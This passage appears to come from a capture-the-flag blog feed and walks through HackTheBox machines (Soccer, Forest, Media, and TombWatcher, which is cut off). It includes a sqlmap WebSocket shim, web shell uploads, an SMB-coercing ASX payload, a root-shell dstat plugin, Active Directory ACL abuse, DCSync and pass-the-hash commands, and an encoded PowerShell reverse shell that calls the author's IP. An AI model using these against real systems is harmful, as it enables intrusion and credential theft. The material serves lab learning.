Result Recon nmap + BloodHound (assumed breach Olivia) DC administrator.htb, ACL graph Olivia → Michael GenericAll → bloodyAD password reset Michael (WinRM) Michael → Benjamin ForceChangePassword Benjamin (Share Moderators) Benjamin → Emily FTP Backup.psafe3 → pwsafe2john crack Vault creds (alexander/emily/emma) Emily → Ethan GenericWrite → targeted Kerberoast → hashcat ethan:limpbizkit - user.txt Ethan → Domain GetChanges/GetChangesAll → DCSync → PtH Administrator - root.txt References BloodHound ACL edges - https://bloodhound.readthedocs.io/en/latest/data-analysis/edges.html Targeted Kerberoasting (GenericWrite SPN) - https://www.thehacker.recipes/ad/movement/kerberos/kerberoast DCSync - https://www.thehacker.recipes/ad/movement/credentials/dumping/dcsync bloodyAD - https://github.com/CravateRouge/bloodyAD ","permalink":"https://ctf-hallllow.blog/posts/administrator/","summary":"\u003cp style=\"text-align:center\"\u003e\n  \u003cimg src=\"featured.png\" alt=\"Administrator box\" width=\"250\"\u003e\n\u003c/p\u003e\n\u003cp\u003e\n  \u003cimg src=\"https://img.shields.io/badge/Platform-HackTheBox-9FEF00?style=flat\u0026logo=hackthebox\u0026logoColor=black\" alt=\"Platform\"\u003e\n  \u003cimg src=\"https://img.shields.io/badge/OS-Windows-0078D6?style=flat\u0026logo=windows\u0026logoColor=white\" alt=\"OS\"\u003e\n  \u003cimg src=\"https://img.shields.io/badge/Difficulty-Medium-orange?style=flat\" alt=\"Difficulty\"\u003e\n\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e\u003cstrong\u003eTL;DR\u003c/strong\u003e - An assumed-breach Active Directory box starting with \u003ccode\u003eOlivia:ichliebedich\u003c/code\u003e. BloodHound maps an ACL chain: Olivia has \u003ccode\u003eGenericAll\u003c/code\u003e over Michael, Michael can \u003ccode\u003eForceChangePassword\u003c/code\u003e on Benjamin, and Benjamin (in \u003ccode\u003eShare Moderators\u003c/code\u003e) can reach an FTP backup. That backup is a Password Safe vault, cracked to reveal mid-chain users, one of whom (Emily) has \u003ccode\u003eGenericWrite\u003c/code\u003e over Ethan. A targeted Kerberoast against Ethan cracks his password, and Ethan holds \u003ccode\u003eDCSync\u003c/code\u003e rights, so \u003ccode\u003esecretsdump\u003c/code\u003e dumps every hash and a pass-the-hash as Administrator finishes the box.\u003c/p\u003e","title":"HTB - Administrator"},{"content":" TL;DR - Foothold through Tiny File Manager running with default credentials, uploading a PHP web shell. A hidden vhost soc-player.soccer.htb exposes a ticket feature that talks to the backend over a WebSocket, and its id field is blind-SQL-injectable. Bridging the WebSocket through a small local HTTP shim lets sqlmap automate the extraction, leaking the player DB credentials, which are reused for SSH. Root comes from doas allowing player to run dstat, whose external-plugin mechanism loads an attacker-controlled Python module.\nRecon Starting with a basic nmap scan with the following command:\nnmap -sV -sC -p- 10.129.72.111 -oA nmap/soccer I got this output:\nThree ports open. I added the hostname soccer.htb to /etc/hosts and opened it in the browser.\nA football news site (yes, football, not soccer). The page offered little interaction, so I fuzzed for directories.\ngobuster dir -u http://soccer.htb/ -w /usr/share/wordlists/dirb/big.txt One result stood out, so I visited it.\nIt\u0026rsquo;s Tiny File Manager 2.4.3. A quick search turned up default credentials for it, documented among other places in a Nuclei template.\nThe default creds admin:admin@123 logged straight in. File managers are a double win here: the default creds get us in, and the upload feature is an RCE primitive on a PHP host.\nFoothold With an authenticated file manager on a PHP host, the move is to upload a web shell. I uploaded a rev_shell.php, set up a listener, and opened the uploaded file in the browser to execute it.\nAnd I got a shell as the web user.\nEnumerating inside the target, /etc/hosts revealed another subdomain: soc-player.soccer.htb.\nI added it to my own /etc/hosts and browsed to it.\nSame application look, but with extra functionality, including user registration and a ticket feature that checks whether a ticket exists, its price, and the time until the match.\nsoc-player → player (WebSocket SQLi) While enumerating the host I found a MySQL database but no usable credentials for it, so the ticket feature looked like the likeliest injection point. The ticket check didn\u0026rsquo;t go through a normal HTTP form, it talked to the backend over a WebSocket on port 9091, sending a JSON message with an id field. User input reaching a query over a WebSocket is still SQL injection, the transport just makes it awkward for standard tooling.\nsqlmap doesn\u0026rsquo;t speak WebSocket directly, so I put a small local HTTP server in front of it that forwards each request into the WebSocket and returns the response. sqlmap then attacks the shim as if it were a normal HTTP endpoint.\nfrom http.server import BaseHTTPRequestHandler, HTTPServer from urllib.parse import urlparse, parse_qs, unquote import websocket, json WS_URL = \u0026#34;ws://soc-player.soccer.htb:9091/\u0026#34; class Handler(BaseHTTPRequestHandler): def do_GET(self): qs = parse_qs(urlparse(self.path).query) payload = unquote(qs.get(\u0026#34;id\u0026#34;, [\u0026#34;\u0026#34;])[0]) ws = websocket.create_connection(WS_URL) ws.send(json.dumps({\u0026#34;id\u0026#34;: payload})) resp = ws.recv() ws.close() self.send_response(200) self.send_header(\u0026#34;Content-Type\u0026#34;, \u0026#34;text/plain\u0026#34;) self.end_headers() self.wfile.write(resp.encode()) def log_message(self, *a): pass HTTPServer((\u0026#34;127.0.0.1\u0026#34;, 8081), Handler).serve_forever() Then I pointed sqlmap at the shim. The injection was blind/time-based, so I used the time technique:\nsqlmap -u \u0026#34;http://127.0.0.1:8081/?id=1\u0026#34; -p id --dbms=mysql --technique=T --time-sec=5 --level=5 --risk=3 --batch --dbs After a while it dumped a set of credentials.\nThe creds player:PlayerOftheMatch2022 matched a local user, so I tried them over SSH:\nssh player@10.129.72.111 user.txt Privilege Escalation - doas + dstat external plugin Basic enumeration as player showed a doas binary, and its config allowed player to run /usr/bin/dstat as root.\ndoas is OpenBSD\u0026rsquo;s sudo, so finding it on Linux is a flag in itself, someone set up a specific privileged command. The target of that command, dstat, is on GTFOBins, and the technique there is its plugin system.\nGTFOBins documents that dstat loads external plugins as Python modules from specific directories, running whatever code they contain.\n/usr/local/share/dstat/ was writable, so I dropped a plugin there. The filename must follow the dstat_\u0026lt;name\u0026gt;.py pattern, where \u0026lt;name\u0026gt; is what you pass on the command line:\n# /usr/local/share/dstat/dstat_root.py import os os.execvp(\u0026#34;/bin/bash\u0026#34;, [\u0026#34;bash\u0026#34;]) Since player runs dstat as root via doas, invoking our plugin by name spawns a root shell:\ndoas /usr/bin/dstat --root root.txt Conclusion Soccer is a clean easy box with one genuinely interesting step: the WebSocket SQL injection. The foothold (default creds → upload → web shell) and the root (GTFOBins dstat) are textbook, but the lateral move forces you to realise standard tooling won\u0026rsquo;t reach a WebSocket, and to bridge sqlmap to it with a tiny proxy.\nWhat I take from it is that shim pattern: any time input reaches a query over a non-HTTP transport, you can usually wrap it so your normal tools work, rather than hand-rolling the whole injection. The rest is good enumeration habits, spotting the hidden vhost in /etc/hosts and checking GTFOBins for any binary you can run via sudo/doas.\nKill chain summary Phase Vector Result Recon nmap + gobuster Tiny File Manager 2.4.3 Foothold Default creds admin:admin@123 → PHP web shell upload Shell as web user User WebSocket SQLi (sqlmap via HTTP→WS shim) → PlayerOftheMatch2022 player - user.txt Root doas dstat + writable external plugin dir root - root.txt References Tiny File Manager - https://github.com/prasathmani/tinyfilemanager GTFOBins - dstat - https://gtfobins.github.io/gtfobins/dstat/ Blind SQLi over WebSocket (sqlmap bridging) - https://rayhan0x01.github.io/ctf/2021/04/02/blind-sqli-over-websocket-automation.html ","permalink":"https://ctf-hallllow.blog/posts/soccer/","summary":"\u003cp style=\"text-align:center\"\u003e\n  \u003cimg src=\"featured.png\" alt=\"Soccer box\" width=\"250\"\u003e\n\u003c/p\u003e\n\u003cp\u003e\n  \u003cimg src=\"https://img.shields.io/badge/Platform-HackTheBox-9FEF00?style=flat\u0026logo=hackthebox\u0026logoColor=black\" alt=\"Platform\"\u003e\n  \u003cimg src=\"https://img.shields.io/badge/OS-Linux-E95420?style=flat\u0026logo=linux\u0026logoColor=white\" alt=\"OS\"\u003e\n  \u003cimg src=\"https://img.shields.io/badge/Difficulty-Easy-brightgreen?style=flat\" alt=\"Difficulty\"\u003e\n\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e\u003cstrong\u003eTL;DR\u003c/strong\u003e - Foothold through Tiny File Manager running with default credentials, uploading a PHP web shell. A hidden vhost \u003ccode\u003esoc-player.soccer.htb\u003c/code\u003e exposes a ticket feature that talks to the backend over a WebSocket, and its \u003ccode\u003eid\u003c/code\u003e field is blind-SQL-injectable. Bridging the WebSocket through a small local HTTP shim lets sqlmap automate the extraction, leaking the \u003ccode\u003eplayer\u003c/code\u003e DB credentials, which are reused for SSH. Root comes from \u003ccode\u003edoas\u003c/code\u003e allowing \u003ccode\u003eplayer\u003c/code\u003e to run \u003ccode\u003edstat\u003c/code\u003e, whose external-plugin mechanism loads an attacker-controlled Python module.\u003c/p\u003e","title":"HTB - Soccer"},{"content":" TL;DR - A Windows domain controller that allows null-session enumeration over SMB/RPC, leaking the full list of domain users. One of them, svc-alfresco, has Kerberos pre-authentication disabled, so we AS-REP roast it, crack the hash to s3rvice, and log in over WinRM for user.txt. For root, BloodHound maps an ACL chain: svc-alfresco has GenericAll over the Exchange Windows Permissions group, that group holds WriteDACL over the domain object, so we add ourselves to the group, grant our user DCSync rights, dump the Administrator NT hash with secretsdump, and pass-the-hash in as Domain Admin.\nRecon I started with a full nmap scan.\nnmap -sV -sC -p- -oA nmap/forest 10.129.95.210 The open ports paint a clear picture of a Windows Domain Controller: Kerberos (88), DNS (53), LDAP (389/3268), SMB (445) and WinRM (5985). The two HTTP ports just return Not Found, so they\u0026rsquo;re a dead end.\nI added the domain to my /etc/hosts:\necho \u0026#34;10.129.95.210 htb.local\u0026#34; | sudo tee -a /etc/hosts On a DC, the interesting surface is SMB (445) — it\u0026rsquo;s where the shares live and, more importantly, where we can try to enumerate domain users without credentials.\nEnumeration I used rpcclient with a null session (no username, no password) and issued enumdomusers to list the domain accounts.\nrpcclient -U \u0026#34;\u0026#34; -N 10.129.95.210 rpcclient $\u0026gt; enumdomusers This returned a bunch of them. I saved every account into users.txt, one per line — this becomes the target list for the next step.\nFoothold - AS-REP Roasting With a list of valid users, I checked which accounts have Kerberos pre-authentication disabled. Those accounts will hand out an AS-REP encrypted with the user\u0026rsquo;s password hash to anyone who asks, so no credentials are needed to request it.\nGetNPUsers.py htb.local/ -usersfile users.txt -no-pass -dc-ip 10.129.95.210 svc-alfresco came back roastable, giving me its AS-REP hash. Time to crack it.\nhashcat -m 18200 asrep.hash /usr/share/wordlists/rockyou.txt Cracked:\nsvc-alfresco : s3rvice I confirmed the credentials are valid against the DC.\nAnd checked WinRM access specifically, since the account is in Remote Management Users.\nThey\u0026rsquo;re valid, so I logged in with evil-winrm.\nevil-winrm -i 10.129.95.210 -u svc-alfresco -p s3rvice And we\u0026rsquo;re in as enox\u0026hellip; I mean svc-alfresco, with user.txt.\nPrivilege Escalation - ACL abuse → DCSync With valid creds, I ran BloodHound to collect the AD data and look for a path to the Administrator.\nbloodhound-python -d htb.local -u svc-alfresco -p s3rvice -ns 10.129.95.210 -c All --zip The path it found: svc-alfresco has GenericAll over the Exchange Windows Permissions group, and that group holds WriteDACL over the HTB.LOCAL domain object. So the chain is: add myself to the group → use the group\u0026rsquo;s WriteDACL to grant myself DCSync → dump every hash in the domain.\nStep 1 — add myself to Exchange Windows Permissions (abusing GenericAll):\nbloodyAD --host \u0026#34;10.129.95.210\u0026#34; -d \u0026#34;htb.local\u0026#34; -u \u0026#34;svc-alfresco\u0026#34; -p \u0026#34;s3rvice\u0026#34; \\ add groupMember \u0026#34;Exchange Windows Permissions\u0026#34; \u0026#34;svc-alfresco\u0026#34; We\u0026rsquo;re now in that group. Back in BloodHound, this confirms we can WriteDACL to the HTB.LOCAL domain.\nStep 2 — grant our user DCSync rights using that WriteDACL:\nbloodyAD --host \u0026#34;10.129.95.210\u0026#34; -d \u0026#34;htb.local\u0026#34; -u \u0026#34;svc-alfresco\u0026#34; -p \u0026#34;s3rvice\u0026#34; \\ add dcsync \u0026#34;svc-alfresco\u0026#34; Step 3 — DCSync: dump all domain hashes, including the Administrator\u0026rsquo;s.\nimpacket-secretsdump htb.local/svc-alfresco:s3rvice@10.129.95.210 Step 4 — pass-the-hash as Administrator over WinRM, using the NT hash from the dump.\nevil-winrm -i 10.129.95.210 -u Administrator -H \u0026lt;administrator_nt_hash\u0026gt; And we\u0026rsquo;re Administrator. On the Desktop, there\u0026rsquo;s root.txt.\nConclusion Forest is a clean run through a classic Active Directory kill chain: null-session enumeration leaks the users, AS-REP roasting leaks a crackable hash, and BloodHound leaks the ACL path to the top. The foothold is a good reminder that a DC willing to talk to anonymous clients hands an attacker their whole target list for free.\nThe privesc is the interesting part: a single over-privileged group membership (GenericAll on Exchange Windows Permissions, which itself had WriteDACL on the domain) cascades straight into full domain compromise via DCSync. The takeaway is that ACLs are the real attack surface in AD — the box has no exploit in the traditional sense, just permissions that chain together into Domain Admin.\nKill chain summary Phase Vector Result Recon nmap full scan → DC services (SMB/Kerberos/LDAP/WinRM) Attack surface Enum rpcclient null session → enumdomusers Domain user list Foothold AS-REP roast svc-alfresco → hashcat → WinRM svc-alfresco - user.txt Crack hashcat (mode 18200) svc-alfresco : s3rvice PrivEsc GenericAll → Exchange Windows Permissions → WriteDACL → DCSync Administrator NT hash Root Pass-the-hash as Administrator over WinRM Administrator - root.txt References Impacket (GetNPUsers / secretsdump) - https://github.com/fortra/impacket bloodyAD - https://github.com/CravateRouge/bloodyAD BloodHound.py - https://github.com/dirkjanm/BloodHound.py HackTricks - AS-REP Roasting - https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/asreproast HackTricks - DCSync - https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/dcsync ","permalink":"https://ctf-hallllow.blog/posts/forest/","summary":"\u003cp style=\"text-align:center\"\u003e\n  \u003cimg src=\"featured.png\" alt=\"Forest box\" width=\"250\"\u003e\n\u003c/p\u003e\n\u003cp\u003e\n  \u003cimg src=\"https://img.shields.io/badge/Platform-HackTheBox-9FEF00?style=flat\u0026logo=hackthebox\u0026logoColor=black\" alt=\"Platform\"\u003e\n  \u003cimg src=\"https://img.shields.io/badge/OS-Windows-0078D6?style=flat\u0026logo=windows\u0026logoColor=white\" alt=\"OS\"\u003e\n  \u003cimg src=\"https://img.shields.io/badge/Difficulty-Easy-brightgreen?style=flat\" alt=\"Difficulty\"\u003e\n\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e\u003cstrong\u003eTL;DR\u003c/strong\u003e - A Windows domain controller that allows null-session enumeration over SMB/RPC, leaking the full list of domain users. One of them, \u003ccode\u003esvc-alfresco\u003c/code\u003e, has Kerberos pre-authentication disabled, so we AS-REP roast it, crack the hash to \u003ccode\u003es3rvice\u003c/code\u003e, and log in over WinRM for \u003ccode\u003euser.txt\u003c/code\u003e. For root, BloodHound maps an ACL chain: \u003ccode\u003esvc-alfresco\u003c/code\u003e has \u003ccode\u003eGenericAll\u003c/code\u003e over the \u003cstrong\u003eExchange Windows Permissions\u003c/strong\u003e group, that group holds \u003cstrong\u003eWriteDACL\u003c/strong\u003e over the domain object, so we add ourselves to the group, grant our user \u003cstrong\u003eDCSync\u003c/strong\u003e rights, dump the Administrator NT hash with \u003ccode\u003esecretsdump\u003c/code\u003e, and pass-the-hash in as Domain Admin.\u003c/p\u003e","title":"HTB - Forest"},{"content":" TL;DR - A Windows box where a video-upload feature lets us smuggle an .asx playlist pointing at a UNC path. When the server processes it, it authenticates to our SMB listener and leaks enox\u0026rsquo;s NetNTLM hash, which we crack and reuse over SSH for the foothold. For root, the upload handler stores files in a predictable per-user directory, so we abuse a symlink to redirect our shell.php into the XAMPP webroot, get a webshell, drop to a reverse shell, and finally use FullPowers to recover the service account\u0026rsquo;s full privilege set and land as nt authority\\system.\nRecon I started with a full nmap scan.\nnmap -sV -sC -p- -oA nmap/media 10.129.234.67 Some interesting ports are open. I started with port 80 to see what the web app looks like, it\u0026rsquo;s a site for a developer company selling their work.\nScrolling down, there\u0026rsquo;s a hiring section with a file upload where you can submit a video.\nThis looks like the way in, but before digging into it I ran a quick gobuster scan to check for interesting directories.\nFrom Wappalyzer I already knew the server runs PHP, so I was hoping to find an /uploads endpoint, but that\u0026rsquo;s not where the uploaded files land.\nFoothold - LLMNR/SMB coercion via ASX After poking around, I thought: what if the server (or someone) actually opens the file I upload? If I can hand it a media playlist pointing at a UNC path, I can coerce it into authenticating to my SMB share and capture the credentials.\nAn .asx is a Windows Media playlist that just points to the real media with a HREF. If that HREF is a UNC path (\\\\my-ip\\share\\...), Windows will try to reach it over SMB, and in doing so it sends the account\u0026rsquo;s NetNTLM hash. Catch that with Responder and you\u0026rsquo;ve got a crackable hash, no code execution needed.\nSo I crafted this payload:\n\u0026lt;ASX version=\u0026#34;3.0\u0026#34;\u0026gt; \u0026lt;ENTRY\u0026gt; \u0026lt;REF HREF=\u0026#34;file://\\\\10.10.16.100\\share\\intro.mp3\u0026#34;/\u0026gt; \u0026lt;/ENTRY\u0026gt; \u0026lt;/ASX\u0026gt; Uploaded it, fired up Responder, and caught the NetNTLM hash for the enox user.\nCracked it with hashcat:\nenox : 1234virus@ SSH is open, so I tried those creds there.\nAnd we\u0026rsquo;re in as enox, with user.txt.\nPrivilege Escalation - symlink abuse → FullPowers Digging around the machine, I found how the upload handler works: whenever you upload a file, it stores it in a directory derived from the user, the email, and the file name. That predictability is the bug.\nBecause we control (and can predict) the destination directory for our own uploads, we can delete it and replace it with a symlink that points somewhere we normally couldn\u0026rsquo;t write, like the XAMPP webroot. The next time we upload the same file with the same user/email, it follows the symlink and lands in C:\\xampp\\htdocs instead of the upload sandbox. That turns an upload into arbitrary file write inside the webroot, i.e. a webshell.\nI uploaded shell.php, removed the created directory and its contents, and created a symlink from that path to C:\\xampp\\htdocs.\nThen I re-uploaded the same shell.php with the same username and email. This time, instead of going to C:\\Windows\\Tasks\\Uploads, it also lands in C:\\xampp\\htdocs, where the webserver serves it from. I confirmed the webshell with:\nhttp://10.129.234.67/shell.php?cmd=whoami It\u0026rsquo;s there. From here I used RevShells to generate a base64-encoded PowerShell reverse shell and called it through the webshell.\nWe\u0026rsquo;re in. Running whoami /priv, I can see this account has some privileges, but not the ones I\u0026rsquo;d want for a straightforward escalation.\nService accounts often run with a stripped-down privilege set, even though they\u0026rsquo;re entitled to more (like SeImpersonatePrivilege / SeAssignPrimaryTokenPrivilege). FullPowers recovers the default, full privilege set for the account and spawns a new process with it, handing back the privileges the token should have had.\nI transferred FullPowers.exe to the machine, generated another base64 PowerShell reverse shell with RevShells, and passed it as the command to run with the recovered privileges:\n.\\FullPowers.exe -c \u0026#34;powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA2AC4AMQAwADAAIgAsADkAOQA5ADkAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAPQAgACQAcwBlAG4AZABiAGEAYwBrACAAKwAgACIAUABTACAAIgAgACsAIAAoAHAAdwBkACkALgBQAGEAdABoACAAKwAgACIAPgAgACIAOwAkAHMAZQBuAGQAYgB5AHQAZQAgAD0AIAAoAFsAdABlAHgAdAAuAGUAbgBjAG8AZABpAG4AZwBdADoAOgBBAFMAQwBJAEkAKQAuAEcAZQB0AEIAeQB0AGUAcwAoACQAcwBlAG4AZABiAGEAYwBrADIAKQA7ACQAcwB0AHIAZQBhAG0ALgBXAHIAaQB0AGUAKAAkAHMAZQBuAGQAYgB5AHQAZQAsADAALAAkAHMAZQBuAGQAYgB5AHQAZQAuAEwAZQBuAGcAdABoACkAOwAkAHMAdAByAGUAYQBtAC4ARgBsAHUAcwBoACgAKQB9ADsAJABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkA\u0026#34; -z With a listener on my side, I caught the shell.\nAnd now we\u0026rsquo;re nt authority\\system. Moving to the Desktop, there\u0026rsquo;s root.txt.\nConclusion Media is a nice mix of a client-side coercion trick and a file-handling bug. The foothold was my favourite part, abusing a \u0026ldquo;harmless\u0026rdquo; video upload to smuggle an ASX playlist and pull a NetNTLM hash out of the server over SMB is a clean, realistic attack, and a good reminder that file uploads are dangerous even when you can\u0026rsquo;t execute what you upload.\nThe privesc leaned on the upload handler trusting a predictable path: redirecting it with a symlink into the webroot turned an upload into a webshell, and from there FullPowers restored the service account\u0026rsquo;s privileges to finish the job. The takeaway: predictable, user-controlled file paths plus symlinks are a recurring arbitrary-write primitive, and service tokens are often one FullPowers away from being far more powerful than they look.\nKill chain summary Phase Vector Result Recon nmap + gobuster Web upload surface Foothold ASX upload → LLMNR/SMB coercion → Responder enox NetNTLM hash Crack hashcat enox : 1234virus@ User SSH as enox enox - user.txt RCE Upload handler symlink → webshell in C:\\xampp\\htdocs Shell as service account Root FullPowers (restore privilege set) nt authority\\system - root.txt References FullPowers - https://github.com/itm4n/FullPowers Responder - https://github.com/lgandx/Responder RevShells - https://www.revshells.com/ ","permalink":"https://ctf-hallllow.blog/posts/media/","summary":"\u003cp style=\"text-align:center\"\u003e\n  \u003cimg src=\"featured.png\" alt=\"Media box\" width=\"250\"\u003e\n\u003c/p\u003e\n\u003cp\u003e\n  \u003cimg src=\"https://img.shields.io/badge/Platform-HackTheBox-9FEF00?style=flat\u0026logo=hackthebox\u0026logoColor=black\" alt=\"Platform\"\u003e\n  \u003cimg src=\"https://img.shields.io/badge/OS-Windows-0078D6?style=flat\u0026logo=windows\u0026logoColor=white\" alt=\"OS\"\u003e\n  \u003cimg src=\"https://img.shields.io/badge/Difficulty-Medium-orange?style=flat\" alt=\"Difficulty\"\u003e\n\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e\u003cstrong\u003eTL;DR\u003c/strong\u003e - A Windows box where a video-upload feature lets us smuggle an \u003ccode\u003e.asx\u003c/code\u003e playlist pointing at a UNC path. When the server processes it, it authenticates to our SMB listener and leaks \u003ccode\u003eenox\u003c/code\u003e\u0026rsquo;s NetNTLM hash, which we crack and reuse over SSH for the foothold. For root, the upload handler stores files in a predictable per-user directory, so we abuse a symlink to redirect our \u003ccode\u003eshell.php\u003c/code\u003e into the XAMPP webroot, get a webshell, drop to a reverse shell, and finally use FullPowers to recover the service account\u0026rsquo;s full privilege set and land as \u003ccode\u003ent authority\\system\u003c/code\u003e.\u003c/p\u003e","title":"HTB - Media"},{"content":" TL;DR - An assumed-breach Active Directory box. Starting from henry, I chain ACLs through BloodHound: a targeted Kerberoast on alfred, abusing AddSelf + ReadGMSAPassword to read the ansible_dev$ gMSA password, then a trail of ForceChangePassword and WriteOwner abuses to pivot sam → john and land a WinRM shell. For root, john controls an OU holding a deleted cert_admin account, so I restore it from the AD Recycle Bin, reset its password, and abuse an ESC15 (CVE-2024-49019) vulnerable certificate template to impersonate the Administrator.\nRecon Starting with a full nmap scan. Quick note: this is an assumed-breach box, so it hands us the credentials of a compromised user, henry / H3nry_987TGV!.\nnmap -sV -sC -p- -oA nmap/tombwatcher 10.129.66.71 There are a lot of ports open, and the key takeaway is that the target is a domain controller, DC01.tombwatcher.htb, so I added it to my /etc/hosts.\nSince we already have valid credentials, I used netexec to see what henry can reach.\nThe creds are valid over SMB, so next I enumerated the shares.\nWith --shares we can see he only has read access to the default shares. I took a look anyway, but it was a dead end. HTTP gave me nothing either, so I moved on to BloodHound to map the domain.\nBloodHound collected the data, so the next step is to ingest it into the GUI and look for a path.\nHenry → Alfred (targeted Kerberoasting) With the data loaded, I saw that henry has WriteSPN over alfred.\nKerberoasting only works against accounts that have a Service Principal Name (SPN). WriteSPN lets us write an SPN onto an account that never had one, turning any user into a roastable target. Once the SPN exists, any domain user can request a service ticket (TGS) for it, and that ticket is encrypted with the target\u0026rsquo;s NTLM hash, so we can crack it offline.\nI used bloodyAD to assign a fake SPN to alfred:\nbloodyAD -u \u0026#39;henry\u0026#39; -p \u0026#39;H3nry_987TGV!\u0026#39; -d \u0026#39;tombwatcher.htb\u0026#39; --host \u0026#39;10.129.66.71\u0026#39; \\ set object \u0026#39;CN=Alfred,CN=Users,DC=tombwatcher,DC=htb\u0026#39; servicePrincipalName -v \u0026#39;fake/spnservice\u0026#39; When I went to request the ticket, Kerberos complained my clock was out of sync with the DC, the classic KRB_AP_ERR_SKEW.\nFixed it by syncing to the DC\u0026rsquo;s clock:\nsudo timedatectl set-ntp false sudo ntpdate 10.129.66.71 Then I roasted alfred:\nGetUserSPNs.py -dc-ip 10.129.66.71 tombwatcher.htb/henry -request-user alfred -outputfile alfred_tgs And got the ticket.\nCracked it with hashcat:\nalfred : basketball Alfred → ansible_dev$ (ReadGMSAPassword) Nothing interesting as alfred directly, so back to BloodHound. alfred has AddSelf over the INFRASTRUCTURE group, and that group has ReadGMSAPassword over the ANSIBLE_DEV$ account.\nA gMSA (group Managed Service Account) is an account whose password Active Directory generates and rotates automatically every 30 days. Principals granted ReadGMSAPassword can read the current managed password blob (msDS-ManagedPassword) straight from LDAP, no cracking needed. So if we can get into the INFRASTRUCTURE group, we can read the ansible_dev$ password.\nFirst, add alfred to the group (abusing AddSelf):\nbloodyAD --host \u0026#34;10.129.66.71\u0026#34; -d \u0026#34;tombwatcher.htb\u0026#34; -u \u0026#34;alfred\u0026#34; -p \u0026#34;basketball\u0026#34; \\ add groupMember \u0026#34;INFRASTRUCTURE\u0026#34; \u0026#34;alfred\u0026#34; Now read the gMSA password:\nbloodyAD --host \u0026#34;10.129.66.71\u0026#34; -d \u0026#34;tombwatcher\u0026#34; -u \u0026#34;alfred\u0026#34; -p \u0026#34;basketball\u0026#34; \\ get object ANSIBLE_DEV$ --attr msDS-ManagedPassword This gives the NTLM hash 3eca34dd13a85db79c03178b7b149621 for ansible_dev$. Cracking it is pointless (the password is ~240 bytes of random binary), so this is a pass-the-hash situation.\nansible_dev$ → sam (ForceChangePassword) Pass-the-hash worked. Back to BloodHound: ansible_dev$ has ForceChangePassword over sam. This right lets us set a new password for the target without knowing the old one.\nbloodyAD --host \u0026#34;10.129.66.71\u0026#34; -d \u0026#34;tombwatcher.htb\u0026#34; -u \u0026#39;ansible_dev$\u0026#39; -p \u0026#39;:3eca34dd13a85db79c03178b7b149621\u0026#39; \\ set password \u0026#34;sam\u0026#34; \u0026#34;password123\u0026#34; Credentials confirmed valid.\nsam → john (WriteOwner → GenericAll) sam has WriteOwner over john. Owning an object means we can rewrite its DACL, so the chain is: make ourselves the owner, grant ourselves GenericAll, then use that to reset the password. Three steps, each unlocking the next.\nMake sam the owner of john:\nbloodyAD --host \u0026#34;10.129.66.71\u0026#34; -d \u0026#34;tombwatcher\u0026#34; -u \u0026#39;sam\u0026#39; -p \u0026#34;password123\u0026#34; set owner \u0026#39;john\u0026#39; \u0026#39;sam\u0026#39; Grant sam GenericAll over john:\nbloodyAD --host \u0026#34;10.129.66.71\u0026#34; -d \u0026#34;tombwatcher\u0026#34; -u \u0026#39;sam\u0026#39; -p \u0026#34;password123\u0026#34; add genericAll \u0026#39;john\u0026#39; \u0026#39;sam\u0026#39; Reset john\u0026rsquo;s password:\nbloodyAD --host \u0026#34;10.129.66.71\u0026#34; -d \u0026#34;tombwatcher.htb\u0026#34; -u \u0026#39;sam\u0026#39; -p \u0026#34;password123\u0026#34; set password \u0026#39;john\u0026#39; \u0026#39;password123\u0026#39; john is in the Remote Management Users group, so he can WinRM in.\nFoothold evil-winrm -u john -p password123 -i 10.129.66.71 And user.txt is on the Desktop.\nPrivilege Escalation - AD Recycle Bin → ESC15 This is the part that ties the whole box together, so let me walk it slowly. The goal is to abuse ADCS, but the account that can actually exploit the vulnerable template doesn\u0026rsquo;t exist anymore, it\u0026rsquo;s been deleted. So the real chain is: restore a deleted account, take control of it, then use it to attack ADCS.\nRunning certipy find as john already hints that there\u0026rsquo;s a certificate template worth looking at.\nThen I checked whether the AD Recycle Bin is enabled, which decides whether deleted objects are recoverable:\nGet-ADOptionalFeature \u0026#39;Recycle Bin Feature\u0026#39; When the AD Recycle Bin is enabled, deleted objects aren\u0026rsquo;t purged, they\u0026rsquo;re kept as tombstoned objects (fitting, given the box name) with all their attributes intact, and can be restored. If an interesting principal was deleted, and we have write rights over where it lived, we can bring it back and take it over.\nEnumerating deleted objects, a user called cert_admin shows up, and it appears three times (it was created and deleted a few times). The one we want is the most recent, with RID 1111.\nGet-ADObject -Filter \u0026#39;isDeleted -eq $true -and Name -like \u0026#34;*cert_admin*\u0026#34;\u0026#39; -IncludeDeletedObjects -Properties * As john we have GenericAll over the ADCS OU, and that OU is the lastKnownParent of the deleted cert_admin. That control over the container is what lets us resurrect the object back into it. Since multiple deleted copies 